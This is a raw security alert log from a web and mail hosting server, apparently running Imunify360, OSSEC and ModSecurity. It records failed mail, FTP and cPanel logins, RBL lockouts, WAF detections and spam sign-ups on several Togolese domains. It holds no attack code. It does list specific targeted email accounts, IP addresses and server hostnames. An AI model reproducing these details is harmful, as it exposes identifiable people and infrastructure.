plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.105.134
country_id: 1835841
description:
2026-06-05 22:09:52 dovecot_plain authenticator failed for H=(mail.inger.tg) [211.178.105.134]:52450: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.217.249.72
country_id: 2750405
description:
2026-06-05 22:10:08 dovecot_plain authenticator failed for H=(mail.inger.tg) [162.217.249.72]:59668: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.195
country_id: 2750405
description:
2026-06-05 22:10:36 dovecot_plain authenticator failed for H=(mail.inger.tg) [193.29.139.195]:23680: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.244.8.155
country_id: 102358
description:
2026-06-05 22:11:00 dovecot_plain authenticator failed for H=(mail.inger.tg) [156.244.8.155]:53018: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.193.87.63
country_id: 2017370
description:
2026-06-05 22:11:15 dovecot_plain authenticator failed for H=(mail.inger.tg) [85.193.87.63]:36140: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.175
country_id: 2750405
description:
2026-06-05 22:11:27 dovecot_plain authenticator failed for H=(mail.inger.tg) [193.29.139.175]:34200: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.175
country_id: 2750405
description:
Jun  5 22:11:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.59.250
country_id: 6252001
description:
2026-06-05 22:10:48 dovecot_plain authenticator failed for H=(mail.inger.tg) [72.56.59.250]:42871: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.69
country_id: 953987
description:
Jun  5 22:11:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.162.59
country_id: 2921044
description:
2026-06-05 22:11:38 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.162.59]:35233: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.16
country_id: 1861060
description:
2026-06-05 22:11:52 dovecot_plain authenticator failed for H=(mail.inger.tg) [31.76.91.16]:60900: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.101
country_id: 3175395
description:
2026-06-05 22:12:26 dovecot_plain authenticator failed for H=(mail.inger.tg) [31.76.113.101]:44666: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.224
country_id: 953987
description:
Jun  5 22:11:57 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.71.201.225
country_id: 2921044
description:
2026-06-05 22:12:15 dovecot_plain authenticator failed for H=ec2-3-71-201-225.eu-central-1.compute.amazonaws.com (mail.inger.tg) [3.71.201.225]:53360: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.218
country_id: 3175395
description:
Jun  5 22:12:28 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.76.84.199
country_id: 2921044
description:
2026-06-05 22:12:37 dovecot_plain authenticator failed for H=(mail.inger.tg) [45.76.84.199]:51090: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.161.48
country_id: 6252001
description:
2026-06-05 22:12:44 H=([64.89.161.48]) [64.89.161.48]:51876 F=<dpr@priv8shop.com> rejected RCPT <everythingworks4good@hotmail.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.69
country_id: 953987
description:
Jun  5 22:11:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.132.155
country_id: 6290252
description:
Jun  5 22:12:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.132.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.56.125.209
country_id: 798544
description:
2026-06-05 22:13:04 dovecot_plain authenticator failed for H=(mail.inger.tg) [2.56.125.209]:43240: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.113.14.58
country_id: 1527747
description:
2026-06-05 22:13:20 H=([85.113.14.58]) [85.113.14.58]:64650 F=<John@4452.com> rejected RCPT <sergdev@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.32
country_id: 1861060
description:
2026-06-05 22:13:33 dovecot_plain authenticator failed for H=vm1904.akenai.wtf (mail.inger.tg) [31.76.91.32]:45176: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 198.105.100.208
country_id: 2635167
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you have any questions relating to where and how to use ||MV:gt;If you have any questions relating to where and how to use ||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 22:16:36 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:51939: 535 Incorrect authentication data (set_id=prod1)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.209.220.92
country_id: 2287781
description:
102.209.220.92 - - [05/Jun/2026:22:17:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987178&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Fkara-un-nouveau-batiment-a-lepp-sedina-grace-au-dr-tidjani-sakari%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780697845 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/education/kara-un-nouveau-batiment-a-lepp-sedina-grace-au-dr-tidjani-sakari/" "Mozilla/5.0 (iPhone; CPU iPhone OS 26_3_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/148.0.7778.166 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.209.220.92


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.46.56.4
country_id: 1522867
description:
2026-06-05 22:19:00 H=([212.46.56.4]) [212.46.56.4]:59546 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.42
country_id: 1269750
description:
Jun  5 22:19:38 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.42
country_id: 1269750
description:
Jun  5 22:19:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.213
country_id: 953987
description:
Jun  5 22:20:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.215.104
country_id: 1562822
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/macite.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.191.248
country_id: 3469034
description:
Jun  5 22:21:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.191.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.191.248
country_id: 3469034
description:
Jun  5 22:21:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.191.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.81
country_id: 690791
description:
Jun  5 22:21:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 22:24:37 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36272: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 22:26:31 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 22:26:33 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:58919: 535 Incorrect authentication data (set_id=user)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.123
country_id: 2017370
description:
2026-06-05 22:27:49 dovecot_login authenticator failed for H=([1.247.216.26]) [178.178.194.123]:52446: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 22:28:23 ns5 pure-ftpd[2095460]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 22:28:28 ns5 pure-ftpd[2095460]: (?@103.245.236.231) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.97.71.231
country_id: 3017382
description:
2026-06-05 22:28:28 dovecot_plain authenticator failed for H=vmi2561011.contaboserver.net (r1y5neml5xwhnchujl) [161.97.71.231]:49570: 535 Incorrect authentication data (set_id=sotrane@sotranetogo.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.175
country_id: 933860
description:
Jun  5 22:28:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.108
country_id: 690791
description:
Jun  5 22:30:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.108 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.220.79
country_id: 2363686
description:
[2026-06-05 22:30:49 +0000] info [cpaneld] 102.64.220.79 - qjzcsoob "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:22:31:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961642&pdata=http%253A%252F%252Fsodigaz.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698696 HTTP/1.1" 302 0 sodigaz.tg.154-70-82-246.cpanel.site "http://sodigaz.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.28
country_id: 6252001
description:
205.169.39.28 - - [05/Jun/2026:22:31:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854501&pdata=http%253A%252F%252Fsodigaz.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698698 HTTP/1.1" 302 0 sodigaz.tg.154-70-82-246.cpanel.site "http://sodigaz.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.28


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [05/Jun/2026:22:31:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313771&pdata=https%253A%252F%252Fsodigaz.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698704 HTTP/2.0" 302 0 sodigaz.tg.154-70-82-246.cpanel.site "https://sodigaz.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:22:32:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131655&pdata=http%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698711 HTTP/1.1" 404 561 sodigaz.tg "http://sodigaz.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:22:32:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131822&pdata=https%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698731 HTTP/2.0" 302 0 sodigaz.tg "https://sodigaz.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:22:32:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581141&pdata=http%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698744 HTTP/1.1" 302 0 sodigaz.tg "http://sodigaz.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Unlock Your Discreet Bonus bonotdamvam.blogspot.ie G1||Email:traciehall86@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-32.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [05/Jun/2026:22:31:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973036&pdata=http%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780698699 HTTP/1.1" 302 0 sodigaz.tg "http://sodigaz.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.250.105.235
country_id: 1562822
description:
Jun  5 22:34:01 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.250.105.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.250.105.235
country_id: 1562822
description:
2026-06-05 22:34:03 dovecot_plain authenticator failed for H=(1wtrg7wpkwshdrlkjyr) [14.250.105.235]:51814: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.138.107
country_id: 690791
description:
Jun  5 22:36:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.138.107 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 43.138.243.158
country_id: 1814991
description:
Jun  5 22:37:10 ns5 pure-ftpd[2102971]: (?@43.138.243.158) [INFO] New connection from 43.138.243.158


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 43.138.243.158
country_id: 1814991
description:
Jun  5 22:37:16 ns5 pure-ftpd[2102971]: (?@43.138.243.158) [WARNING] Authentication failed for user [snb]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.72.196.75
country_id: 1643084
description:
2026-06-05 22:37:29 dovecot_login authenticator failed for H=([182.95.215.113]) [202.72.196.75]:57433: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 22:36:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 22:36:48 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:56939: 535 Incorrect authentication data (set_id=user)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.184
country_id: 3175395
description:
Jun  5 22:40:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.177.181
country_id: 3469034
description:
Jun  5 22:40:41 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.177.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.195.146
country_id: 3469034
description:
Jun  5 22:41:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.195.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.177.181
country_id: 3469034
description:
Jun  5 22:40:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.177.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.74
country_id: 3865483
description:
Jun  5 22:42:29 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.253
country_id: 3469034
description:
Jun  5 22:42:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.18.79
country_id: 3469034
description:
Jun  5 22:44:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.18.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.134
country_id: 798544
description:
Jun  5 22:43:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.231
country_id: 1269750
description:
Jun  5 22:46:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-06-05 22:46:51 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:50174: 535 Incorrect authentication data (set_id=marketing@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.185.147.85
country_id: 3469034
description:
Jun  5 22:47:03 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.185.147.85 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.59.3.94
country_id: 3686110
description:
181.59.3.94 - - [05/Jun/2026:22:47:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712943&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-57457letidm77xel.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780699630 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-57457letidm77xel.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.59.3.94


plugin: modsec
rule: 77350274
name: IM360 WAF: Theme customization in WordPress
abuser: 102.64.220.79
country_id: 2363686
domain: relanceinfo.tg
description:
IM360 WAF: Theme customization in WordPress||MVN:ARGS:wp_customize||MV:on||WPU:admin||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 129.146.229.31
country_id: 6252001
description:
Jun  5 22:53:51 ns5 pure-ftpd[2114557]: (?@129.146.229.31) [INFO] New connection from 129.146.229.31


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 129.146.229.31
country_id: 6252001
description:
Jun  5 22:53:57 ns5 pure-ftpd[2114557]: (?@129.146.229.31) [WARNING] Authentication failed for user [root]


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 114.119.183.36
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-les-pratiques-qui-rendent-propre-le-systeme-judiciaire/||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Solve Your Bonus Puzzle sepoladi.blogspot.cz 24||Email:aceholeeo87@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-56.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.179.112
country_id: 1835841
description:
Jun  5 22:57:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.179.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.179.112
country_id: 1835841
description:
2026-06-05 22:57:10 dovecot_login authenticator failed for H=(rangely-66-198-221-50.fibercommunity.net) [218.149.179.112]:49375: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.73.209.71
country_id: 1562822
description:
Jun  5 22:57:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.73.209.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.119.120
country_id: 3469034
description:
Jun  5 22:58:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.119.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.216.56.242
country_id: 6251999
description:
Jun  5 22:58:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.216.56.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.216.56.242
country_id: 6251999
description:
2026-06-05 22:58:10 dovecot_plain authenticator failed for H=(azzlit) [161.216.56.242]:33402: 535 Incorrect authentication data (set_id=pibno@zephyr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.73.209.71
country_id: 1562822
description:
2026-06-05 22:57:48 dovecot_plain authenticator failed for H=(lck98xfn2w3bnzs2xtyvq6) [27.73.209.71]:41151: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.118
country_id: 3469034
description:
Jun  5 22:58:28 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.158.118
country_id: 690791
description:
Jun  5 22:58:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.158.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.158.118
country_id: 690791
description:
Jun  5 22:58:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.158.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.92
country_id: 3469034
description:
Jun  5 22:58:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-06-05 23:01:26 dovecot_login authenticator failed for H=([192.111.143.93]) [196.188.93.169]:2509: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.93.169
country_id: 337996
description:
Jun  5 23:01:24 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.93.169 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.79.42.41
country_id: 1861060
description:
Jun  5 23:05:44 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.79.42.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.79.42.41
country_id: 1861060
description:
2026-06-05 23:05:46 dovecot_plain authenticator failed for H=(va8epdvd8aoe0ufgby3aq) [47.79.42.41]:58574: 535 Incorrect authentication data (set_id=kagbam@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.217
country_id: 953987
description:
